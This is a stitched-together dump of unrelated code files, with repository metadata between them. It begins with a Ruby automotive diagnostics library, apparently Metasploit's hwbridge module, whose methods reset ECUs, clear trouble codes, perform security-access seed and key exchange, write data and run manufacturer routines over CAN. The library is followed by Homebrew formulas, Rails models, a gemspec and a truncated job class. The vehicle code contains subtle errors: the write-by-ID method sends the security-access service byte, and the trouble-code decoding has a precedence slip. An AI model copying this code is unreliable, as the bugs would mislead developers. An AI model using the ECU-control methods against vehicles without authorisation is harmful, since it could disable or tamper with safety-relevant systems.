# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [Hash] Packet Hash with { "SPEED_K" => <km/h>, "SPEED_M" => <mph> }
def get_vehicle_speed(bus, src_id, dst_id)
packets = get_current_data(bus, src_id, dst_id, 0x0D, { "MAXPKTS" => 1 })
return {} if packets.nil?
return packets if packets.key? "error"
return packets unless packets.key? "Packets"
packets["SPEED_K"] = packets["Packets"][0]["DATA"][3].hex
packets["SPEED_M"] = packets["SPEED_K"] / 1.609344
packets
end
#
# Return which OBD standard this bus confirms to. This method could utilizes bitmasks
# but currently creates a human readable string instead. This may change in the future.
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [String] Description of standard
def get_obd_standards(bus, src_id, dst_id)
packets = get_current_data(bus, src_id, dst_id, 0x1C, { "MAXPKTS" => 1 })
return "" if packets.nil?
if packets.key? "error"
print_error("OBD ERR: #{packets['error']}")
return ""
end
return "" unless packets.key? "Packets"
case packets["Packets"][0]["DATA"][3].hex
when 1
return "OBD-II as defined by CARB"
when 2
return "OBD as defined by EPA"
when 3
return "OBD and OBD-II"
when 4
return "OBD-I"
when 5
return "Not OBD Compliant"
when 6
return "EOBD Europe"
when 7
return "EOBD and OBD-II"
when 8
return "EOBD and OBD"
when 9
return "EOBD, OBD, OBD-II"
when 10
return "JOBD Japan"
when 11
return "JOBD and OBD-II"
when 12
return "JOBD and EOBD"
when 13
return "JOBD, EOBD, OBD-II"
when 17
return "Engine Manufacturer Diagnostics (EMD)"
when 18
return "Engine Manufacturer Diagnostics Enhanced (EMD+)"
when 19
return "Heavy Duty On-Board Diagnostics (Child/Partial) (HD OBD-C)"
when 20
return "Heavy Duty On-Board Diagnostics (HD OBD)"
when 21
return "World Wide Harmonized OBD (WWH OBD)"
when 23
return "Heavy Duty Euro OBD Stage I without NOx control (HD EOBD-I)"
when 24
return "Heavy Duty Euro OBD Stage I with NOx control (HD EOBD-I N)"
when 25
return "Heavy Duty Euro OBD Stage II without NOx control (HD EOBD-II)"
when 26
return "Heavy Duty Euro OBD Stage II with NOx control (HD EOBD-II N)"
when 28
return "Brazil OBD Phase 1 (OBDBr-1)"
when 29
return "Brazil OBD Phase 2 (OBDBr-2)"
when 30
return "Korean OBD (KOBD)"
when 31
return "India OBD I (IOBD I)"
when 32
return "India OBD II (IOBD II)"
when 33
return "Heavy Duty Euro OBD Stage VI (HD EOBD-IV)"
when 14..16, 22, 27, 34..250
return "Reserved"
end
"SAE J1939 Special Meanings"
end
### Mode $02 ###
#
# Shows the vehicles freeze frame data, Use the same PIDs as supported from Mode $01
# #get_current_data_pids. You must specify which freeze frame you want to recall data from.
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param pid [Integer] Integer of the PID to get data about
# @param frame [Integer] Freeze Frame Number
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Hash] client.automotive response
def get_freeze_frame_data(bus, src_id, dst_id, pid, frame, opt = {})
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
pid = pid.to_s(16)
frame = frame.to_s(16)
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x02, pid, frame], opt)
end
### Mode $03 ###
#
# Retrieves the Diagnostic Trouble Codes (DTCs)
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Array] Array of DTCs
def get_dtcs(bus, src_id, dst_id, opt = {})
dtcs = []
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
data = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x03], opt)
return [] if data.nil?
if data.key? "error"
print_error("UDS ERR: #{data['error']}")
return []
end
if (data.key? "Packets") && !data["Packets"].empty?
data = response_hash_to_data_array(dst_id, data, 4)
if !data.empty? && data.size.even?
(0..data.size / 2).step(2) do |idx|
code = ""
case data[idx].hex & 0xC0 >> 3
when 0
code = "P"
when 1
code = "C"
when 2
code = "B"
when 3
code = "U"
end
code += (data[idx].hex & 0x3F).to_s(16).rjust(2, '0')
code += data[idx + 1]
dtcs << code
end
end
end
dtcs
end
### Mode $04 ###
#
# Clears the DTCs and Resets the MIL light back to the off position
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Hash] No packets are expected to return but an error could be returned
def clear_dtcs(bus, src_id, dst_id, opt = {})
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x04], opt)
end
### Mode $07 ###
#
# Retrieves the Frozen Diagnostic Trouble Codes (DTCs)
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Array] Array of DTCs
def get_frozen_dtcs(bus, src_id, dst_id, opt = {})
dtcs = []
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
data = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x07], opt)
return [] if data.nil?
if data.key? "error"
print_error("UDS ERR: #{data['error']}")
return []
end
if (data.key? "Packets") && !data["Packets"].empty?
data = response_hash_to_data_array(dst_id, data, 4)
if !data.empty? && data.size.even?
(0..data.size / 2).step(2) do |idx|
code = ""
case data[idx].hex & 0xC0 >> 3
when 0
code = "P"
when 1
code = "C"
when 2
code = "B"
when 3
code = "U"
end
code += (data[idx].hex & 0x3F).to_s(16).rjust(2, '0')
code += data[idx + 1]
dtcs << code
end
end
end
dtcs
end
### Mode $09 ###
#
# Requests diagnostics 0x09 vehicle information for any given mode
# No formatting is done on the response
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Hash] client.automotive response
def get_vehicle_info(bus, src_id, dst_id, mode, opt = {})
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
mode = mode.to_s(16)
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x09, mode], opt)
end
#
# Get all the supported pids by mode 0x09 Vehicle info
# Returns them as an array of ints
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [Array] Array of PIDS supported by Mode $09
def get_vinfo_supported_pids(bus, src_id, dst_id)
pids = []
packets = get_vehicle_info(bus, src_id, dst_id, 0, { "MAXPKTS" => 1 })
return pids if packets.nil?
if (packets.key? "Packets") && !packets["Packets"].empty?
unless packets["Packets"][0]["DATA"][1].hex == 0x49
print_error("ECU Did not return a valid response")
return []
end
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(1..20).each do |pid|
pids << pid if hexpids[pid - 1] == "1"
end
end
pids
end
#
# Requests a VIN and formats the response as ASCII
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [String] VIN as ASCII
def get_vin(bus, src_id, dst_id)
packets = get_vehicle_info(bus, src_id, dst_id, 0x02)
return "" if packets.nil?
return "UDS ERR: #{packets['error']}" if packets.key? "error"
data = response_hash_to_data_array(dst_id.to_s(16), packets)
return "" if data.nil?
data.map! { |d| d.hex.chr }
data.join
end
# Gets the vehicle calibration ID and returns it as an ASCII string
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [String] Calibration ID as ASCII
def get_calibration_id(bus, src_id, dst_id)
packets = get_vehicle_info(bus, src_id, dst_id, 0x04)
return "" if packets.nil?
return "UDS ERR: #{packets['error']}" if packets.key? "error"
data = response_hash_to_data_array(dst_id.to_s(16), packets)
return "" if data.nil?
data.map! { |d| d.hex.chr }
data.join
end
# Get the vehicles ECU name pid 0x0A
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [String] ECU Name as ASCII
def get_ecu_name(bus, src_id, dst_id)
packets = get_vehicle_info(bus, src_id, dst_id, 0x0A)
return "" if packets.nil?
return "UDS ERR: #{packets['error']}" if packets.key? "error"
data = response_hash_to_data_array(dst_id.to_s(16), packets)
return "" if data.nil?
data.map! { |d| d.hex.chr }
data.join
end
###############################################################################
# Technically from here on down these are known as Service IDs or SIDs but we #
# will keep calling them Modes for consitency in our comments #
###############################################################################
#### Mode $10 ###
# Set the diagnostic session code
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param level [Integer] The desired DSC level
#
# @return [Hash] client.automtoive response
def set_dsc(bus, src_id, dst_id, level)
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
level = level.to_s(16)
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
opt = {}
opt["TIMEOUT"] = 20
opt["MAXPKTS"] = 1
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x10, level], opt)
end
### Mode $11 ###
#
# Issues a reset of the ECU
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param hard [Boolean] If true a hard reset will be peformed
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Hash] client.automtoive response (Could be no response)
def reset_ecu(bus, src_id, dst_id, hard, opt = {})
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
reset_type = hard ? 1 : 0
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x11, reset_type], opt)
end
### Mode $22 ###
#
# Reads data from a memory region given a lookup ID value
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param id [Array] 2 Bytes in an array of the identifier. Example [ 0xF1, 0x90 ]
# @param show_error [Boolean] If an error, return the Packet hash instead, Default false
#
# @return [Array] Data retrieved. If show_error is true and an error is detected, then packet hash will be returned instead
def read_data_by_id(bus, src_id, dst_id, id, show_error = false)
data = []
unless client.automotive
print_error("Not an automotive hwbridge session")
return {} if show_error
return []
end
unless id.is_a? Array
print_error("ID paramater must be a two byte array")
return {} if show_error
return []
end
unless id.size == 2
print_error("ID paramater must be a two byte array")
return {} if show_error
return []
end
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
id.map! { |i| i.to_s(16) } if id[0].is_a? Integer
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
opt = {}
opt["MAXPKTS"] = 15
packets = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x22] + id, opt)
return [] if packets.nil?
if packets.key? "error"
return packets if show_error
else
data = response_hash_to_data_array(dst_id, packets)
end
data
end
### Mode $27 ###
#
# Retrieves the security access token
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param level [Integer] Requested security access level. Default is 1
#
# @return [Hash] Packet Hash with { "SEED" => [ XX, XX ] }
def get_security_token(bus, src_id, dst_id, level = 1)
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
level = level.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
opt = {}
opt["MAXPKTS"] = 1
packets = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27, level], opt)
return {} if packets.nil?
unless packets.key? "error"
packets["SEED"] = response_hash_to_data_array(dst_id, packets)
end
packets
end
#
# Sends a security access tokens response to the seed request
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# param key [Array] Array of Hex to be used as the key. Same size as the seed
# @param response_level [Integer] Requested security access level response. Usually level + 1. Default is 2
#
# @return [Hash] packet response from client.automotoive
def send_security_token_response(bus, src_id, dst_id, key, response_level = 2)
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
unless key.is_a? Array
print_error("Key must be an array of hex values")
return {}
end
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
key.map! { |k| k.to_s(16) } if key[0].is_a? Integer
response_level = response_level.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
opt = {}
opt["MAXPKTS"] = 1
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27, response_level] + key, opt)
end
### Mode $2E ###
#
# Writes data by ID
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param id [Array] 2 Bytes in an array of the identifier. Example [ 0xF1, 0x90 ]
# @param data [Array] Array of bytes to write
#
# @return [Hash] Packet hash from client.automotive
def write_data_by_id(bus, src_id, dst_id, id, data)
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
unless id.is_a? Array
print_error("ID must be an array of hex values")
return {}
end
unless data.is_a? Array
print_error("DATA must be an array of hex values")
return {}
end
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
id.map! { |i| i.to_s(16) } if id[0].is_a? Integer
data.map! { |d| d.to_s(16) } if data[0].is_a? Integer
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
opt = {}
opt["MAXPKTS"] = 1
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27] + id + data, opt)
end
### Mode $31 ###
#
# Executes a builtin routine. Routines are a series of pre-programmed acutions setup by the
# manufacturer.
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param routine_type [Integer] Type or routine request. Example: 1 = Start, 3 = Report
# param id [Array] 2 byte Array for the routine identifier
# @param data [Array] Array of routine data/params. Specific to the routine. Optional, Default []
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Hash] Packet hash from client.automotive
def routine_control(bus, src_id, dst_id, routine_type, id, data = [], opt = {})
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
unless id.is_a? Array
print_error("ID must be an array of hex values")
return {}
end
unless data.is_a? Array
print_error("DATA must be an array of hex values")
return {}
end
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
routine_type = routine_type.to_s(16)
id.map! { |i| i.to_s(16) } if id[0].is_a? Integer
data.map! { |d| d.to_s(16) } if !data.empty? && (data[0].is_a? Integer)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x31, routine_type] + id + data, opt)
end
### Mode $3E ###
#
# Sends a TestPresent message. This message maintains previously set DSCs or Security Access levels so
# they don't timeout and revert back to normal. TesterPresent is typically transmitted on 2-3 second
# intervals
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param suppress_response [Boolean] By default suppress ACK from ECU. Set to false if you want confirmation
#
# @return [Hash] Packet hash from client.automotive. Typically blank unless suppress_response is false
def send_tester_present(bus, src_id, dst_id, suppress_response = true)
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
suppress = 0x80
suppress = 0 unless suppress_response
opt = {}
opt["MAXPKTS"] = 1
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x3E, suppress], opt)
end
end
end
end
end
end
| 36.114191 | 126 | 0.643776 |
f74fe133bdd63509c31a202b7657a82c3cc8a5d9 | 210 | # frozen_string_literal: true
class Settings::ProfilePolicy < ApplicationPolicy
def update?
!!account
end
def permitted_attributes_for_update
%i[nickname public_name biography avatar]
end
end
| 17.5 | 49 | 0.771429 |
5d1d83b90773a11b488980d6e34ef3a051077202 | 1,527 | class Okteto < Formula
desc "Build better apps by developing and testing code directly in Kubernetes"
homepage "https://okteto.com"
url "https://github.com/okteto/okteto/archive/1.13.10.tar.gz"
sha256 "b50bfebb8d1cad07411624c3c4946a140f32c5f64db0b2e5b393c1f5d82a860e"
license "Apache-2.0"
head "https://github.com/okteto/okteto.git", branch: "master"
bottle do
sha256 cellar: :any_skip_relocation, arm64_big_sur: "01cdb4fc7ca14324fc88fd4a9bb3a457815a58f3ab3b952a2fe92bdf8536e276"
sha256 cellar: :any_skip_relocation, big_sur: "7ed993aea5d84a466f509e49010a37943ccfb4c76201fb3f4d1b46b5a50b270e"
sha256 cellar: :any_skip_relocation, catalina: "a227a63909907f8fc88d116767faa6f1ccfc5e59bfc5cb4359323208df5c756b"
sha256 cellar: :any_skip_relocation, mojave: "103f8eeeb69f72545147b9b25aa509db4290eb94a6f3f86b604f1a4a51f41b37"
sha256 cellar: :any_skip_relocation, x86_64_linux: "d4128995d7421e7d9289343783d21b21cbaa4ce203613e0b27c73b5dda213422" # linuxbrew-core
end
depends_on "go" => :build
def install
ldflags = "-s -w -X github.com/okteto/okteto/pkg/config.VersionString=#{version}"
tags = "osusergo netgo static_build"
system "go", "build", *std_go_args(ldflags: ldflags), "-tags", tags
end
test do
assert_match "okteto version #{version}", shell_output("#{bin}/okteto version")
touch "test.rb"
assert_match "Failed to load your local Kubeconfig",
shell_output("echo | #{bin}/okteto init --overwrite --file test.yml 2>&1")
end
end
| 46.272727 | 139 | 0.764898 |
18b0d6480baf561ed458476623649bd82cf099d6 | 4,187 | class NodeAT14 < Formula
desc "Platform built on V8 to build network applications"
homepage "https://nodejs.org/"
url "https://nodejs.org/dist/v14.18.3/node-v14.18.3.tar.xz"
sha256 "783ac443cd343dd6c68d2abcf7e59e7b978a6a428f6a6025f9b84918b769d608"
license "MIT"
livecheck do
url "https://nodejs.org/dist/"
regex(%r{href=["']?v?(14(?:\.\d+)+)/?["' >]}i)
end
bottle do
sha256 cellar: :any, arm64_monterey: "6b9253752640227577d928d4fcb6240a83576f81acc6b14a1e267996b5413dfa"
sha256 cellar: :any, arm64_big_sur: "c076e981b52d8b86f15cde4a7e72b7c1efad26124fb794419a88599aef0f9e34"
sha256 cellar: :any, monterey: "8ffbe3b5442a8299aac505a363d35658f41dce00668007e7c3bf685c295d6646"
sha256 cellar: :any, big_sur: "ac8e30ff8b49d14a4c76ec6c0c106f9ad2eb0c947725fe73575cfaa49592afb3"
sha256 cellar: :any, catalina: "4189902048c2a2f17e808a62193d9ebe090babb4241fa877e628ad7d3bdda4e1"
sha256 cellar: :any_skip_relocation, x86_64_linux: "cbbf40544135a658477ce4a006eaebf145bebd98353e1941db345f641cb38ad8"
end
keg_only :versioned_formula
depends_on "pkg-config" => :build
depends_on "[email protected]" => :build
depends_on "brotli"
depends_on "c-ares"
depends_on "icu4c"
depends_on "libnghttp2"
depends_on "libuv"
depends_on "[email protected]"
uses_from_macos "zlib"
on_macos do
depends_on "macos-term-size"
end
def install
# make sure subprocesses spawned by make are using our Python 3
ENV["PYTHON"] = which("python3")
args = %W[
--prefix=#{prefix}
--with-intl=system-icu
--shared-libuv
--shared-nghttp2
--shared-openssl
--shared-zlib
--shared-brotli
--shared-cares
--shared-libuv-includes=#{Formula["libuv"].include}
--shared-libuv-libpath=#{Formula["libuv"].lib}
--shared-nghttp2-includes=#{Formula["libnghttp2"].include}
--shared-nghttp2-libpath=#{Formula["libnghttp2"].lib}
--shared-openssl-includes=#{Formula["[email protected]"].include}
--shared-openssl-libpath=#{Formula["[email protected]"].lib}
--shared-brotli-includes=#{Formula["brotli"].include}
--shared-brotli-libpath=#{Formula["brotli"].lib}
--shared-cares-includes=#{Formula["c-ares"].include}
--shared-cares-libpath=#{Formula["c-ares"].lib}
--openssl-use-def-ca-store
]
system "python3", "configure.py", *args
system "make", "install"
term_size_vendor_dir = lib/"node_modules/npm/node_modules/term-size/vendor"
term_size_vendor_dir.rmtree # remove pre-built binaries
if OS.mac?
macos_dir = term_size_vendor_dir/"macos"
macos_dir.mkpath
# Replace the vendored pre-built term-size with one we build ourselves
ln_sf (Formula["macos-term-size"].opt_bin/"term-size").relative_path_from(macos_dir), macos_dir
end
end
def post_install
(lib/"node_modules/npm/npmrc").atomic_write("prefix = #{HOMEBREW_PREFIX}\n")
end
test do
path = testpath/"test.js"
path.write "console.log('hello');"
output = shell_output("#{bin}/node #{path}").strip
assert_equal "hello", output
output = shell_output("#{bin}/node -e 'console.log(new Intl.NumberFormat(\"en-EN\").format(1234.56))'").strip
assert_equal "1,234.56", output
output = shell_output("#{bin}/node -e 'console.log(new Intl.NumberFormat(\"de-DE\").format(1234.56))'").strip
assert_equal "1.234,56", output
# make sure npm can find node
ENV.prepend_path "PATH", opt_bin
ENV.delete "NVM_NODEJS_ORG_MIRROR"
assert_equal which("node"), opt_bin/"node"
assert_predicate bin/"npm", :exist?, "npm must exist"
assert_predicate bin/"npm", :executable?, "npm must be executable"
npm_args = ["-ddd", "--cache=#{HOMEBREW_CACHE}/npm_cache", "--build-from-source"]
system "#{bin}/npm", *npm_args, "install", "npm@latest"
system "#{bin}/npm", *npm_args, "install", "ref-napi"
assert_predicate bin/"npx", :exist?, "npx must exist"
assert_predicate bin/"npx", :executable?, "npx must be executable"
assert_match "< hello >", shell_output("#{bin}/npx cowsay hello")
end
end
| 38.768519 | 123 | 0.678529 |
01d36142b77be6b837584b4f83d7b49c5f0cc328 | 681 | require 'rails_helper'
RSpec.describe User, type: :model do
context 'associations' do
it { should have_many(:posts) }
it { should have_many(:comments) }
it { should have_many(:likes) }
it { should have_many(:friendships) }
it { should have_many(:inverse_friendships).class_name(:Friendship) }
it { should have_many(:confirmed_friendships).class_name(:Friendship) }
it { should have_many(:friends) }
it { should have_many(:pending_friendships).class_name(:Friendship) }
it { should have_many(:pending_friends) }
it { should have_many(:inverted_friendships).class_name(:Friendship) }
it { should have_many(:friend_requests) }
end
end
| 37.833333 | 75 | 0.713656 |
033a8ef9aef1257e72174314915e702339d0be3d | 1,661 | class Juliaup < Formula
desc "Julia installer and version multiplexer"
homepage "https://github.com/JuliaLang/juliaup"
url "https://github.com/JuliaLang/juliaup/archive/v1.5.29.tar.gz"
sha256 "4dc02d9e7ecddf7364b1862d8b478c2a6f01e0eea9dd755e40e171c42d0b3511"
license "MIT"
head "https://github.com/JuliaLang/juliaup.git", branch: "master"
livecheck do
url :stable
strategy :github_latest
end
bottle do
rebuild 1
sha256 cellar: :any_skip_relocation, arm64_monterey: "1ca0f2e8e6e98e45f0dd9647d7581c6f0b5cabca77576b39e895f4e62a4705db"
sha256 cellar: :any_skip_relocation, arm64_big_sur: "b4f9c40b4fc2fc599e3fcef9b584080a80fdf0b71614c0b1281a02b61fb3c9eb"
sha256 cellar: :any_skip_relocation, monterey: "b68cf73a6963151c99cc5510fe0ce54a3a68aa40d2b6ded789f0b3a1e27b545f"
sha256 cellar: :any_skip_relocation, big_sur: "794caa4602c36b66823fb2026ffb235b78ddd7dadda9ed170686de31b896ee00"
sha256 cellar: :any_skip_relocation, catalina: "df949186d6c8448d6296230f4dff2f7ba1cd80e8638b9dafc4b4cb3f6b563420"
sha256 cellar: :any_skip_relocation, x86_64_linux: "3557bbacc945d70f86b497de9054f2bc6fc2fb0db121d00b40cabbceb6431efd"
end
depends_on "rust" => :build
conflicts_with "julia", because: "both install `julia` binaries"
def install
system "cargo", "install", "--bin", "juliaup", *std_cargo_args
system "cargo", "install", "--bin", "julialauncher", *std_cargo_args
bin.install_symlink "julialauncher" => "julia"
end
test do
expected = "Default Channel Version Update"
assert_equal expected, shell_output("#{bin}/juliaup status").lines.first.strip
end
end
| 41.525 | 123 | 0.775436 |
1da2015f7b2893a827957eb3148a62a54983e6ba | 266 | class FontBayon < Formula
head "https://github.com/google/fonts/raw/master/ofl/bayon/Bayon-Regular.ttf"
desc "Bayon"
homepage "https://www.google.com/fonts/specimen/Bayon"
def install
(share/"fonts").install "Bayon-Regular.ttf"
end
test do
end
end
| 24.181818 | 79 | 0.718045 |
ff2a55ba6c63a19d47f13626ef8a7b4bb74d2074 | 291 | class User < ApplicationRecord
# Include default devise modules. Others available are:
# :confirmable, :lockable, :timeoutable and :omniauthable
devise :database_authenticatable, :registerable,
:recoverable, :rememberable, :trackable, :validatable,:confirmable, :lockable
end
| 41.571429 | 86 | 0.766323 |
e832452377599fcdbaee83f3d68b2f982b1fedb4 | 1,280 | # frozen_string_literal: true
class ActionMessage < MessageComponent
self.ignored_columns = %w[completing_message_type] # TODO: was polymorphic, need to remove
belongs_to :completing_message, class_name: "Message"
validates :description, presence: true
def completed?
completing_message.try(:message).try(:approved?) || completing_message
end
end
# == Schema Information
#
# Table name: action_messages
#
# id :integer not null, primary key
# description :string not null
# created_at :datetime not null
# updated_at :datetime not null
# completing_message_id :integer
# created_by_id :integer not null
# message_id :integer not null
# thread_id :integer not null
#
# Indexes
#
# index_action_messages_on_completing_message_id (completing_message_id)
# index_action_messages_on_created_by_id (created_by_id)
# index_action_messages_on_message_id (message_id)
# index_action_messages_on_thread_id (thread_id)
#
# Foreign Keys
#
# fk_rails_... (created_by_id => users.id)
# fk_rails_... (message_id => messages.id)
# fk_rails_... (thread_id => message_threads.id)
#
| 31.219512 | 92 | 0.659375 |
799d977868fece689e64f300da60e32dfb900787 | 1,018 | lib = File.expand_path('lib', __dir__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'rspec/any_of/version'
Gem::Specification.new do |spec|
spec.name = 'rspec-any_of'
spec.version = RSpec::AnyOf::VERSION
spec.authors = ['Arkadiy Zabazhanov']
spec.email = ['[email protected]']
spec.summary = "rspec-any_of-#{RSpec::AnyOf::VERSION}"
spec.description = 'HTML equivalence RSpec matcher'
spec.homepage = 'https://github.com/toptal/rspec-any_of'
spec.files = `git ls-files`.split($OUTPUT_RECORD_SEPARATOR)
spec.test_files = spec.files.grep(%r{^spec/})
spec.require_paths = ['lib']
spec.add_runtime_dependency 'rspec-expectations', '~> 3.0'
spec.add_development_dependency 'rake', '~> 10.0'
spec.add_development_dependency 'rspec', '~> 3.0'
spec.add_development_dependency 'rubocop', '~> 0.68.1'
spec.add_development_dependency 'rubocop-rspec', '~> 1.32.0'
spec.add_development_dependency 'yard', '0.9.19'
end
| 37.703704 | 69 | 0.682711 |
87140e13b7242ed76bf2e6873564a7c3d947e515 | 517 | require "graphql/api/unauthorized_exception"
module GraphQL::Api
class Policy
attr_reader :ctx, :model
def initialize(ctx, model)
@model = model
@ctx = ctx
end
def user
ctx[:current_user]
end
def create?
true
end
def update?
true
end
def destroy?
true
end
def read?
true
end
def unauthorized!
raise UnauthorizedException.new
end
def unauthorized_field_access(name)
nil
end
end
end
| 12.309524 | 44 | 0.588008 |
18f4f4928569b30657f16cd2f86b9c07931c6ab5 | 131 | # Chef Provisioning Azure driver
class Chef
module Provisioning
module AzureDriver
VERSION = "0.6.0"
end
end
end
| 14.555556 | 32 | 0.687023 |
e8f9e24d82847c9df8bd413965f476133116b6a6 | 642 | class CapsuleSyncMonitor
@queue = :signup
extend CapsuleHelper
# This monitors capsuleCRM for changes and queues up individual changes for update in the frontend app
def self.perform
[
:orgs,
